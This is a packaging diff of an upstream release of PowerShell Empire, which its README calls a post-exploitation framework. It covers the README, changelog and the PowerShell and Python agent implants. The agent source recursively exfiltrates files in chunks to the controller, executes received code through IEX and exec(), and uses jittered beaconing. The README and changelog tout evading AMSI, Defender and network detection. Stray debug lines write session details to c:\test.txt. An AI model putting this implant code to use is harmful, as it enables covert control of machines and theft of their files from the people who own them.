Codebase list powershell-empire / 7035485
New upstream version 3.0~git20191203 Sophie Brun 4 years ago
432 changed file(s) with 21135 addition(s) and 7091 deletion(s). Raw diff Collapse all Expand all
+3
-1
.gitignore less more
1010 data/obfuscated_module_source/*.ps1
1111 data/misc/ToObfuscate.ps1
1212 data/misc/Obfuscated.ps1
13 setup/xar/
13 setup/xar*/
1414 setup/bomutils/
1515 .venv
1616 .DS_Store
17 venv/
18
+5
-5
Dockerfile less more
00 # NOTE: Only use this when you want to build image locally
1 # else use `docker pull empireproject\empire:{VERSION}`
1 # else use `docker pull empireproject/empire:{VERSION}`
22 # all image versions can be found at: https://hub.docker.com/r/empireproject/empire/
33
44 # -----BUILD COMMANDS----
4444 apt-utils \
4545 lsb-core \
4646 python2.7 \
47 python-dev \
48 && ln -sf /usr/bin/python2.7 /usr/bin/python \
4749 && rm -rf /var/lib/apt/lists/*
4850
4951 # build empire from source
5254 cd /opt/Empire/setup/ && \
5355 ./install.sh && \
5456 rm -rf /opt/Empire/data/empire*
55
57 RUN python2.7 /opt/Empire/setup/setup_database.py
5658 WORKDIR "/opt/Empire"
57 ENTRYPOINT ["./empire"]
58
59 # -----END OF BUILD-----
59 CMD ["python2.7", "empire"]
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-8
README.md less more
0 ![Empire](https://user-images.githubusercontent.com/20302208/70022749-1ad2b080-154a-11ea-9d8c-1b42632fd9f9.jpg)
1
2 [1.1]: http://i.imgur.com/tXSoThF.png (twitter icon with padding)
3 [2.1]: http://i.imgur.com/P3YfQoD.png (facebook icon with padding)
4 [3.1]: http://i.imgur.com/yCsTjba.png (google plus icon with padding)
5 [4.1]: http://i.imgur.com/YckIOms.png (tumblr icon with padding)
6 [5.1]: http://i.imgur.com/1AGmwO3.png (dribbble icon with padding)
7 [6.1]: http://i.imgur.com/0o48UoR.png (github icon with padding)
8
9 [1]: https://twitter.com/bcsecurity1
10 [2]: http://www.facebook.com/XXXXXXX
11 [3]: https://plus.google.com/XXXXXXX
12 [4]: http://XXXXXXX.tumblr.com
13 [5]: http://dribbble.com/XXXXXXX
14 [6]: http://www.github.com/BC-SECURITY
15 [7]: https://www.bc-security.org/blog
16
17 ![GitHub contributors](https://img.shields.io/github/contributors/BC-SECURITY/Empire)
18 ![GitHub commit activity](https://img.shields.io/github/commit-activity/m/BC-SECURITY/Empire)
19 ![GitHub stars](https://img.shields.io/github/stars/BC-SECURITY/Empire)
20 ![GitHub](https://img.shields.io/github/license/BC-Security/Empire)
21 [![Twitter URL](https://img.shields.io/twitter/url/https/twitter.com/fold_left.svg?style=flat)](https://twitter.com/BCSecurity1)
22
23 Keep up-to-date on our blog at [https://www.bc-security.org/blog][7]
24
025 # Empire
1
2 Empire is a post-exploitation framework that includes a pure-PowerShell2.0 Windows agent, and a pure Python 2.6/2.7 Linux/OS X agent. It is the merge of the previous PowerShell Empire and Python EmPyre projects. The framework offers cryptologically-secure communications and a flexible architecture. On the PowerShell side, Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework. PowerShell Empire premiered at [BSidesLV in 2015](https://www.youtube.com/watch?v=Pq9t59w0mUI) and Python EmPyre premeiered at HackMiami 2016.
26 ## The beta release of [Empire 3.0](https://github.com/BC-SECURITY/Empire/tree/dev) is available on the dev branch ##
27 Empire 3.0 is a post-exploitation framework that includes a pure-PowerShell 2.0 Windows agent, and compatibility with Python 2.x/3.x Linux/OS X agents. It is the merger of the previous PowerShell Empire and Python EmPyre projects. The framework offers cryptologically-secure communications and a flexible architecture. On the PowerShell side, Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework. PowerShell Empire premiered at [BSidesLV in 2015](https://www.youtube.com/watch?v=Pq9t59w0mUI) and Python EmPyre premeiered at HackMiami 2016. BC-Security presented updates to further evade Microsoft Antimalware Scan Interface (AMSI) and JA3/S signatures at [DEF CON 27](https://github.com/BC-SECURITY/DEFCON27).
328
429 Empire relies heavily on the work from several other projects for its underlying functionality. We have tried to call out a few of those people we've interacted with [heavily here](http://www.powershellempire.com/?page_id=2) and have included author/reference link information in the source of each Empire module as appropriate. If we have failed to improperly cite existing or prior work, please let us know.
530
6 Empire is developed by [@harmj0y](https://twitter.com/harmj0y), [@sixdub](https://twitter.com/sixdub), [@enigma0x3](https://twitter.com/enigma0x3), [rvrsh3ll](https://twitter.com/424f424f), [@killswitch_gui](https://twitter.com/killswitch_gui), and [@xorrior](https://twitter.com/xorrior).
31 Empire is developed by [@harmj0y](https://twitter.com/harmj0y), [@sixdub](https://twitter.com/sixdub), [@enigma0x3](https://twitter.com/enigma0x3), [@rvrsh3ll](https://twitter.com/424f424f), [@killswitch_gui](https://twitter.com/killswitch_gui), [@xorrior](https://twitter.com/xorrior), and [@bcsecurity1](https://twitter.com/BCSecurity1). While the main fork for Empire is no longer maintained, this fork is maintained by [BC-Security](https://www.bc-security.org) and will continue to receive periodic updates.
732
8 Feel free to join us on Slack! http://adaptiveempire.slack.com/
33 ## Release Notes
34 With the release of the 3.0 beta, there are some major upgrades to Empire. Many of these have lingered on various branches of the Empire project and have finally been consolidated, as well as, there being several new updates. The biggest change to mention is the conversion of the Empire base code from Python 2.7 to Python 2.7/3.x compatible. This will ensure that Empire continues to function as Kali drops Python 2.7 support. The conversion also causes some issues in the way that bytes and strings are handled which will likely cause some unfound errors.
35
36 We have tested the core http listeners (http, http_hop, http_mapi, redirector) and confirmed that they work in both Python 2.7 and 3.x. We have also tested the Mimikatz modules and several of the launchers. There are still many modules that need to be tested, hence the beta release.
37
38 In addition to the code conversion, there are some minor UI updates, a few new modules, and new functionality. The full list of changes can be reviewed in the changelog.
939
1040 ## Install
1141
12 To install, run `sudo ./setup/install.sh` script or use the corresponding docker image `docker pull empireproject/empire`.
42 To install and run:
43
44 ```sh
45 git clone https://github.com/BC-SECURITY/Empire.git --branch dev
46 cd Empire
47 sudo ./setup/install.sh
48 ```
1349
1450 There's also a [quickstart here](http://www.powershellempire.com/?page_id=110) and full [documentation here](http://www.powershellempire.com/?page_id=83).
1551
1753
1854 Check out the [Empire wiki](https://github.com/EmpireProject/Empire/wiki/Quickstart) for instructions on getting started with Empire.
1955
56 ## To Do List
57
58 * Port code to work with Python 3
59 * [Invoke-SocksProxy](https://github.com/p3nt4/Invoke-SocksProxy)
60 * Function name randomization
61 * JA3/S signature randomization
62 * Multi-menu function calls
63 * Function name aliasing
64 * Update to [Mimikatz 2.2.0](https://github.com/gentilkiwi/mimikatz)
65
2066 ## Contribution Rules
2167
2268 Contributions are more than welcome! The more people who contribute to the project the better Empire will be for everyone. Below are a few guidelines for submitting contributions.
2369
24 * Beginning with version 2.4, we will only troubleshoot issues for Kali, Debian, or Ubuntu. All other operating systems will not be supported. We understand that this is frustrating but hopefully the new docker build can provide an alternative.
70 * Beginning with version 3.0, we will require that all updates be both Python 2.x/3.x compatible.
2571 * Submit pull requests to the [dev branch](https://github.com/powershellempire/Empire/tree/dev). After testing, changes will be merged to master.
2672 * Depending on what you're working on, base your module on [./lib/modules/powershell_template.py](lib/modules/powershell_template.py) or [./lib/modules/python_template.py](lib/modules/python_template.py). **Note** that for some modules you may need to massage the output to get it into a nicely displayable text format [with Out-String](https://github.com/PowerShellEmpire/Empire/blob/0cbdb165a29e4a65ad8dddf03f6f0e36c33a7350/lib/modules/situational_awareness/network/powerview/get_user.py#L111).
2773 * Cite previous work in the **'Comments'** module section.
2874 * If your script.ps1 logic is large, may be reused by multiple modules, or is updated often, consider implementing the logic in the appropriate **data/module_source/*** directory and [pulling the script contents into the module on tasking](https://github.com/PowerShellEmpire/Empire/blob/0cbdb165a29e4a65ad8dddf03f6f0e36c33a7350/lib/modules/situational_awareness/network/powerview/get_user.py#L85-L95).
2975 * Use [approved PowerShell verbs](https://technet.microsoft.com/en-us/library/ms714428(v=vs.85).aspx) for any functions.
30 * PowerShell Version 2 compatibility is **STRONGLY** preferred.
31 * TEST YOUR MODULE! Be sure to run it from an Empire agent before submitting a pull to ensure everything is working correctly.
76 * PowerShell Version 2 compatibility is **STRONGLY** preferred.
77 * TEST YOUR MODULE! Be sure to run it from an Empire agent and test both Python 2.x/3.x functionality before submitting a pull to ensure everything is working correctly.
3278 * For additional guidelines for your PowerShell code itself, check out the [PowerSploit style guide](https://github.com/PowerShellMafia/PowerSploit/blob/master/README.md).
79
80 [![alt text][1.1]][1]
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changelog less more
0 11/26/2019
1 ------------
2 - Version 3.0 Beta Release
3 - Added Python 2.6/7 and 3.x compatibility (@Cx01N, @Hubbl3, @Vinnybod)
4 - Improved Windows Defender Evasion
5 - Updated mimikatz binary in Invoke-Mimikatz to version 2.2.0 20190408 (@Cx01N)
6 - Fixed port assignment feature to listeners (@Cx01N)
7 - Fixed issues with http_Hop listener (@Cx01N)
8 - Fixed issues with redirector listener (@Cx01N)
9 - Fixed typos in default http listener payloads (@Hubbl3)
10 - Fixed psinject AV recognition (@Hubbl3)
11 - Updated Invoke-Obfuscation to version 1.8 (@phra)
12 - Updated Invoke-Kerberoast (@Zero1t0)
13 - Added ability to uselisteners on main menu (@Cx01N, @Hubbl3)
14 - Added Get-Subnet_Ranges (@benichmt1)
15 - Added Get-WinUpdates (@classity)
16 - Added Get-KerberosServiceTIcket (@OneLogicalMyth)
17 - Added Invoke-RID_Hijack (@r4wd3r)
18 - Added Invoke-internal_monologue (@audibleblink)
19 - Added Invoke-SMBLogin (@mvelazc0)
20 - Added Sherlock (@_RastaMouse, @audibleblink)
21 - Added Outlook Sandbox Evasion for Windows Macro launcher (@Cx01N, @Hubbl3)
22 - Added Randomized JA3S signature (@Hubbl3)
23 - Added AMSI Bypass based on Tal Liberman's AMSI Bypass (@Hubbl3)
24 - Added Invoke-CredentialPhisher (@quickbreach)
25 - Made Security Bypasses configurable for launchers (@phra)
26 - Updated Readme to include install instruction, EOL of Core Devloper support, new contribution rules
27 - Added OSX shellcode stager (@johneiser)
28 - Added Invoke-Phant0m (@leesoh)
29 - Added Get-AppLockerConfig (@matterpreter)
30 - Added HostRecon (@RootUp)
31 - Added more informative PS agent directory listing (@winnie22)
32
33 Credit was given based on Commit Author if something is credited incorrectly or we missed an update
34 please contact us at [email protected]
035
136 03/15/2018
237 ------------
338 - Version 2.5 Master Release
4 - Patched launcher generation bug
39 - Patched launcher generation bug
540 - Added OSX Mic record module #893 (@s0lst1c3)
641 - More robust password handling in ssh_command and ssh_launcher modules (@retro-engineer)
742 - Updated server responses for http listener (@xorrior)
1146 - Overhaul events system to provide more descriptive messages and accurate logging of events (@DakotaNelson)
1247 - Added macro that backdoors lnk files (@G0ldenGunSec)
1348 - Bug fix for invoke_psexec module when using custom commands (@ThePirateWhoSmellsOfSunflowers)
14 - Added capability to generate a vs studio project file to generate a csharp launcher (@elitest)
49 - Added capability to generate a vs studio project file to compile a csharp executable/launcher (@elitest)
1550 - Added capability to enable/disable/delete listeners (@mr64bit)
1651 - Added report generation (@bneg)
1752 - Updated http_com listener to server IIS7 default page and added response headers to evade nessus scans (@s0lst1c3)
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data/agent/agent.ps1 less more
123123 # uris(comma separated)|UserAgent|header1=val|header2=val2...
124124 # headers are optional. format is "key:value"
125125 # ex- cookies are "cookie:blah=123;meh=456"
126 Add-Content c:\test.txt $Profile
126127 $ProfileParts = $Profile.split('|')
127128 $script:TaskURIs = $ProfileParts[0].split(',')
128129 $script:UserAgent = $ProfileParts[1]
129130 $script:SessionID = $SessionID
131 Add-Content c:\test.txt $SessionID
130132 $script:Headers = @{}
131133 # add any additional request headers if there are any specified in the profile
132134 if($ProfileParts[2]) {
278280 }
279281 else {
280282 switch -regex ($cmd) {
281 '(ls|dir)' {
283 '(ls|^dir)' {
282284 if ($cmdargs.length -eq "") {
283 $output = Get-ChildItem -force | select lastwritetime,length,name
285 $output = Get-ChildItem -force | select mode,@{Name="Owner";Expression={(Get-Acl $_.FullName).Owner }},lastwritetime,length,name
284286 }
285287 else {
286288 try{
287 $output = IEX "$cmd $cmdargs -Force -ErrorAction Stop | select lastwritetime,length,name"
289 $output = IEX "$cmd $cmdargs -Force -ErrorAction Stop" | select mode,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }},lastwritetime,length,name
288290 }
289291 catch [System.Management.Automation.ActionPreferenceStopException] {
290292 $output = "[!] Error: $_ (or cannot be accessed)."
291293 }
292294 }
293295 }
294 '(mv|move|copy|cp|rm|del|rmdir)' {
296 '(mv|move|copy|cp|rm|del|rmdir|mkdir)' {
295297 if ($cmdargs.length -ne "") {
296298 try {
297299 IEX "$cmd $cmdargs -Force -ErrorAction Stop"
440442 param($JobName)
441443 if($Script:Jobs.ContainsKey($JobName)) {
442444 $Script:Jobs[$JobName]['Buffer'].ReadAll()
445 $Script:Jobs[$JobName]['PSHost'].Streams.Error
446 $Script:Jobs[$JobName]['PSHost'].Streams.Error.Clear()
443447 }
444448 }
445449
452456 $Null = $Script:Jobs[$JobName]['PSHost'].Stop()
453457 # get results
454458 $Script:Jobs[$JobName]['Buffer'].ReadAll()
459 $Script:Jobs[$JobName]['PSHost'].Streams.Error
460 $Script:Jobs[$JobName]['PSHost'].Streams.Error.Clear()
455461 # unload the app domain runner
456462 $Null = [AppDomain]::Unload($Script:Jobs[$JobName]['AppDomain'])
457463 $Script:Jobs.Remove($JobName)
466472 # uris(comma separated)|UserAgent|header1=val|header2=val2...
467473 # headers are optional. format is "key:value"
468474 # ex- cookies are "cookie:blah=123;meh=456"
469
475 Add-Content c:\test.txt "Update Profile"
476 Add-Content c:\test.txt $Profile
470477 $ProfileParts = $Profile.split('|')
471478 $script:TaskURIs = $ProfileParts[0].split(',')
472479 $script:UserAgent = $ProfileParts[1]
839846 $ChunkSize = 1024KB
840847 }
841848
842 # resolve the complete path
843 $Path = Get-Childitem $Path | ForEach-Object {$_.FullName}
844
845 # read in and send the specified chunk size back for as long as the file has more parts
846 $Index = 0
847 do{
848 $EncodedPart = Get-FilePart -File "$path" -Index $Index -ChunkSize $ChunkSize
849
850 if($EncodedPart) {
851 $data = "{0}|{1}|{2}" -f $Index, $path, $EncodedPart
852 Send-Message -Packets $(Encode-Packet -type $type -data $($data) -ResultID $ResultID)
853 $Index += 1
854
855 # if there are more parts of the file, sleep for the specified interval
856 if ($script:AgentDelay -ne 0) {
857 $min = [int]((1-$script:AgentJitter)*$script:AgentDelay)
858 $max = [int]((1+$script:AgentJitter)*$script:AgentDelay)
859
860 if ($min -eq $max) {
861 $sleepTime = $min
849 # resolve the complete paths
850 $Path = Get-Childitem -Recurse $Path -File | ForEach-Object {$_.FullName}
851
852 foreach ( $File in $Path) {
853 # read in and send the specified chunk size back for as long as the file has more parts
854 $Index = 0
855 do{
856 $EncodedPart = Get-FilePart -File "$file" -Index $Index -ChunkSize $ChunkSize
857
858 if($EncodedPart) {
859 $data = "{0}|{1}|{2}" -f $Index, $file, $EncodedPart
860 (& $SendMessage -Packets $(Encode-Packet -type $type -data $($data) -ResultID $ResultID))
861 $Index += 1
862
863 # if there are more parts of the file, sleep for the specified interval
864 if ($script:AgentDelay -ne 0) {
865 $min = [int]((1-$script:AgentJitter)*$script:AgentDelay)
866 $max = [int]((1+$script:AgentJitter)*$script:AgentDelay)
867
868 if ($min -eq $max) {
869 $sleepTime = $min
870 }
871 else{
872 $sleepTime = Get-Random -minimum $min -maximum $max;
873 }
874 Start-Sleep -s $sleepTime;
862875 }
863 else{
864 $sleepTime = Get-Random -minimum $min -maximum $max;
865 }
866 Start-Sleep -s $sleepTime;
867876 }
868 }
869 [GC]::Collect()
870 } while($EncodedPart)
871
872 Encode-Packet -type 40 -data "[*] File download of $path completed" -ResultID $ResultID
877 [GC]::Collect()
878 } while($EncodedPart)
879
880 Encode-Packet -type 40 -data "[*] File download of $file completed" -ResultID $ResultID
881 }
873882 }
874883 catch {
875884 Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID $ResultID
+74
-54
data/agent/agent.py less more
0 from __future__ import print_function
1 from __future__ import division
2 from future import standard_library
3 standard_library.install_aliases()
4 from builtins import str
5 from builtins import range
6 from builtins import object
7 from past.utils import old_div
08 import __future__
19 import struct
210 import time
1119 import shlex
1220 import zlib
1321 import threading
14 import BaseHTTPServer
22 import http.server
1523 import zipfile
1624 import io
1725 import imp
2533 import grp
2634 from stat import S_ISREG, ST_CTIME, ST_MODE
2735 from os.path import expanduser
28 from StringIO import StringIO
36 from io import StringIO
2937 from threading import Thread
3038
3139
109117 """
110118 # returns {sessionID : (language, meta, additional, [encData]), ...}
111119 packets = parse_routing_packet(stagingKey, data)
112 for agentID, packet in packets.iteritems():
120 for agentID, packet in packets.items():
113121 if agentID == sessionID:
114122 (language, meta, additional, encData) = packet
115123 # if meta == 'SERVER_RESPONSE':
241249 # send packets
242250 send_message(resultPackets)
243251 except Exception as e:
244 print "processJobTasking exception:",e
252 print("processJobTasking exception:",e)
245253 pass
246254
247255
279287
280288 elif packetType == 41:
281289 # file download
282 filePath = os.path.abspath(data)
283 if not os.path.exists(filePath):
290 objPath = os.path.abspath(data)
291 fileList = []
292 if not os.path.exists(objPath):
284293 return build_response_packet(40, "file does not exist or cannot be accessed", resultID)
285294
286 offset = 0
287 size = os.path.getsize(filePath)
288 partIndex = 0
289
290 while True:
291
292 # get 512kb of the given file starting at the specified offset
293 encodedPart = get_file_part(filePath, offset=offset, base64=False)
294 c = compress()
295 start_crc32 = c.crc32_data(encodedPart)
296 comp_data = c.comp_data(encodedPart)
297 encodedPart = c.build_header(comp_data, start_crc32)
298 encodedPart = base64.b64encode(encodedPart)
299
300 partData = "%s|%s|%s" %(partIndex, filePath, encodedPart)
301 if not encodedPart or encodedPart == '' or len(encodedPart) == 16:
302 break
303
304 send_message(build_response_packet(41, partData, resultID))
305
306 global delay
307 global jitter
308 if jitter < 0: jitter = -jitter
309 if jitter > 1: jitter = 1/jitter
310
311 minSleep = int((1.0-jitter)*delay)
312 maxSleep = int((1.0+jitter)*delay)
313 sleepTime = random.randint(minSleep, maxSleep)
314 time.sleep(sleepTime)
315 partIndex += 1
316 offset += 512000
295 if not os.path.isdir(objPath):
296 fileList.append(objPath)
297 else:
298 # recursive dir listing
299 for folder, subs, files in os.walk(objPath):
300 for filename in files:
301 #dont care about symlinks
302 if os.path.exists(objPath):
303 fileList.append(objPath + "/" + filename)
304
305 for filePath in fileList:
306 offset = 0
307 size = os.path.getsize(filePath)
308 partIndex = 0
309
310 while True:
311
312 # get 512kb of the given file starting at the specified offset
313 encodedPart = get_file_part(filePath, offset=offset, base64=False)
314 c = compress()
315 start_crc32 = c.crc32_data(encodedPart)
316 comp_data = c.comp_data(encodedPart)
317 encodedPart = c.build_header(comp_data, start_crc32)
318 encodedPart = base64.b64encode(encodedPart)
319
320 partData = "%s|%s|%s" %(partIndex, filePath, encodedPart)
321 if not encodedPart or encodedPart == '' or len(encodedPart) == 16:
322 break
323
324 send_message(build_response_packet(41, partData, resultID))
325
326 global delay
327 global jitter
328 if jitter < 0: jitter = -jitter
329 if jitter > 1: jitter = old_div(1,jitter)
330
331 minSleep = int((1.0-jitter)*delay)
332 maxSleep = int((1.0+jitter)*delay)
333 sleepTime = random.randint(minSleep, maxSleep)
334 time.sleep(sleepTime)
335 partIndex += 1
336 offset += 512000
317337
318338 elif packetType == 42:
319339 # file upload
342362 msg = "No active jobs"
343363 else:
344364 msg = "Active jobs:\n"
345 for x in xrange(len(jobs)):
365 for x in range(len(jobs)):
346366 msg += "\t%s" %(x)
347367 return build_response_packet(50, msg, resultID)
348368
367387 buffer = StringIO()
368388 sys.stdout = buffer
369389 code_obj = compile(data, '<string>', 'exec')
370 exec code_obj in globals()
390 exec(code_obj, globals())
371391 sys.stdout = sys.__stdout__
372392 results = buffer.getvalue()
373393 return build_response_packet(100, str(results), resultID)
384404 buffer = StringIO()
385405 sys.stdout = buffer
386406 code_obj = compile(data, '<string>', 'exec')
387 exec code_obj in globals()
407 exec(code_obj, globals())
388408 sys.stdout = sys.__stdout__
389409 c = compress()
390410 start_crc32 = c.crc32_data(buffer.getvalue())
415435 os.remove(implantPath)
416436 result += "\n[*] Module path was properly removed: %s" %(implantPath)
417437 except Exception as e:
418 print "error removing module filed: %s" %(e)
438 print("error removing module filed: %s" %(e))
419439 fileCheck = os.path.isfile(implantPath)
420440 if fileCheck:
421441 result += "\n\nError removing module file, please verify path: " + str(implantPath)
442462 buffer = StringIO()
443463 sys.stdout = buffer
444464 code_obj = compile(script, '<string>', 'exec')
445 exec code_obj in globals()
465 exec(code_obj, globals())
446466 sys.stdout = sys.__stdout__
447467 result = str(buffer.getvalue())
448468 return build_response_packet(121, result, resultID)
466486
467487 zdata = dec_data['data']
468488 zf = zipfile.ZipFile(io.BytesIO(zdata), "r")
469 if fileName in moduleRepo.keys():
489 if fileName in list(moduleRepo.keys()):
470490 send_message(build_response_packet(122, "%s module already exists" % (fileName), resultID))
471491 else:
472492 moduleRepo[fileName] = zf
478498 repoName = data
479499 if repoName == "":
480500 loadedModules = "\nAll Repos\n"
481 for key, value in moduleRepo.items():
501 for key, value in list(moduleRepo.items()):
482502 loadedModules += "\n----"+key+"----\n"
483503 loadedModules += '\n'.join(moduleRepo[key].namelist())
484504
577597 mod.__name__ = fullname
578598 if is_package:
579599 mod.__path__ = [os.path.dirname(mod.__file__)]
580 exec code in mod.__dict__
600 exec(code, mod.__dict__)
581601 return mod
582602
583603 def get_data(self, fullpath):
783803 code_obj = compile(codeBlock, '<string>', 'exec')
784804 # code needs to be in the global listing
785805 # not the locals() scope
786 exec code_obj in globals()
806 exec(code_obj, globals())
787807
788808 # create/processPacketstart/return the thread
789809 # call the job_func so sys data can be cpatured
816836
817837 jobMessageBuffer += str(message)
818838 except Exception as e:
819 print e
839 print(e)
820840
821841 def get_job_message_buffer():
822842 global jobMessageBuffer
847867 data = str(data)
848868 serveCount = int(serveCount)
849869 count = 0
850 class serverHandler(BaseHTTPServer.BaseHTTPRequestHandler):
870 class serverHandler(http.server.BaseHTTPRequestHandler):
851871 def do_GET(s):
852872 """Respond to a GET request."""
853873 s.send_response(200)
856876 s.wfile.write(data)
857877 def log_message(s, format, *args):
858878 return
859 server_class = BaseHTTPServer.HTTPServer
879 server_class = http.server.HTTPServer
860880 httpServer = server_class((hostName, portNumber), serverHandler)
861881 try:
862882 while (count < serveCount):
899919
900920 # Convert file size to MB, KB or Bytes
901921 if (fstat.st_size > 1024 * 1024):
902 fsize = math.ceil(fstat.st_size / (1024 * 1024))
922 fsize = math.ceil(old_div(fstat.st_size, (1024 * 1024)))
903923 unit = "MB"
904924 elif (fstat.st_size > 1024):
905 fsize = math.ceil(fstat.st_size / 1024)
925 fsize = math.ceil(old_div(fstat.st_size, 1024))
906926 unit = "KB"
907927 else:
908928 fsize = fstat.st_size
10171037
10181038 # sleep for the randomized interval
10191039 if jitter < 0: jitter = -jitter
1020 if jitter > 1: jitter = 1/jitter
1040 if jitter > 1: jitter = old_div(1,jitter)
10211041 minSleep = int((1.0-jitter)*delay)
10221042 maxSleep = int((1.0+jitter)*delay)
10231043
10411061 # print "invalid code:",code
10421062
10431063 except Exception as e:
1044 print "main() exception: %s" % (e)
1045
1064 print("main() exception: %s" % (e))
1065
+27
-21
data/agent/stagers/common/aes.py less more
22 AES code from https://github.com/ricmoo/pyaes
33 """
44
5 from builtins import bytes
6 from builtins import chr
7 from builtins import zip
8 from builtins import str
9 from builtins import range
10 from builtins import object
511 import copy
612 import struct
713 import hashlib
108114 rounds = self.number_of_rounds[len(key)]
109115
110116 # Encryption round keys
111 self._Ke = [[0] * 4 for i in xrange(rounds + 1)]
117 self._Ke = [[0] * 4 for i in range(rounds + 1)]
112118
113119 # Decryption round keys
114 self._Kd = [[0] * 4 for i in xrange(rounds + 1)]
120 self._Kd = [[0] * 4 for i in range(rounds + 1)]
115121
116122 round_key_count = (rounds + 1) * 4
117123 KC = len(key) // 4
118124
119125 # Convert the key into ints
120 tk = [struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4)]
126 tk = [struct.unpack('>i', key[i:i + 4])[0] for i in range(0, len(key), 4)]
121127
122128 # Copy values into round key arrays
123 for i in xrange(0, KC):
129 for i in range(0, KC):
124130 self._Ke[i // 4][i % 4] = tk[i]
125131 self._Kd[rounds - (i // 4)][i % 4] = tk[i]
126132
138144 rconpointer += 1
139145
140146 if KC != 8:
141 for i in xrange(1, KC):
147 for i in range(1, KC):
142148 tk[i] ^= tk[i - 1]
143149
144150 # Key expansion for 256-bit keys is "slightly different" (fips-197)
145151 else:
146 for i in xrange(1, KC // 2):
152 for i in range(1, KC // 2):
147153 tk[i] ^= tk[i - 1]
148154 tt = tk[KC // 2 - 1]
149155
152158 (self.S[(tt >> 16) & 0xFF] << 16) ^
153159 (self.S[(tt >> 24) & 0xFF] << 24))
154160
155 for i in xrange(KC // 2 + 1, KC):
161 for i in range(KC // 2 + 1, KC):
156162 tk[i] ^= tk[i - 1]
157163
158164 # Copy values into round key arrays
164170 t += 1
165171
166172 # Inverse-Cipher-ify the decryption round key (fips-197 section 5.3)
167 for r in xrange(1, rounds):
168 for j in xrange(0, 4):
173 for r in range(1, rounds):
174 for j in range(0, 4):
169175 tt = self._Kd[r][j]
170176 self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^
171177 self.U2[(tt >> 16) & 0xFF] ^
183189 a = [0, 0, 0, 0]
184190
185191 # Convert plaintext to (ints ^ key)
186 t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)]
192 t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in range(0, 4)]
187193
188194 # Apply round transforms
189 for r in xrange(1, rounds):
190 for i in xrange(0, 4):
195 for r in range(1, rounds):
196 for i in range(0, 4):
191197 a[i] = (self.T1[(t[ i ] >> 24) & 0xFF] ^
192198 self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^
193199 self.T3[(t[(i + s2) % 4] >> 8) & 0xFF] ^
197203
198204 # The last round is special
199205 result = []
200 for i in xrange(0, 4):
206 for i in range(0, 4):
201207 tt = self._Ke[rounds][i]
202208 result.append((self.S[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
203209 result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
217223 a = [0, 0, 0, 0]
218224
219225 # Convert ciphertext to (ints ^ key)
220 t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)]
226 t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in range(0, 4)]
221227
222228 # Apply round transforms
223 for r in xrange(1, rounds):
224 for i in xrange(0, 4):
229 for r in range(1, rounds):
230 for i in range(0, 4):
225231 a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^
226232 self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^
227233 self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^
231237
232238 # The last round is special
233239 result = []
234 for i in xrange(0, 4):
240 for i in range(0, 4):
235241 tt = self._Kd[rounds][i]
236242 result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
237243 result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
251257 a = [0, 0, 0, 0]
252258
253259 # Convert ciphertext to (ints ^ key)
254 t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)]
260 t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in range(0, 4)]
255261
256262 # Apply round transforms
257 for r in xrange(1, rounds):
258 for i in xrange(0, 4):
263 for r in range(1, rounds):
264 for i in range(0, 4):
259265 a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^
260266 self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^
261267 self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^
265271
266272 # The last round is special
267273 result = [ ]
268 for i in xrange(0, 4):
274 for i in range(0, 4):
269275 tt = self._Kd[rounds][i]
270276 result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
271277 result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
+5
-1
data/agent/stagers/common/diffiehellman.py less more
00 """ Implements Diffie-Hellman as a Jinja2 partial for use in stagers
11 DH code from: https://github.com/lowazo/pyDHE """
2 from __future__ import print_function
23
4 from builtins import bytes
5 from builtins import str
6 from builtins import object
37 import os
48 import hashlib
59
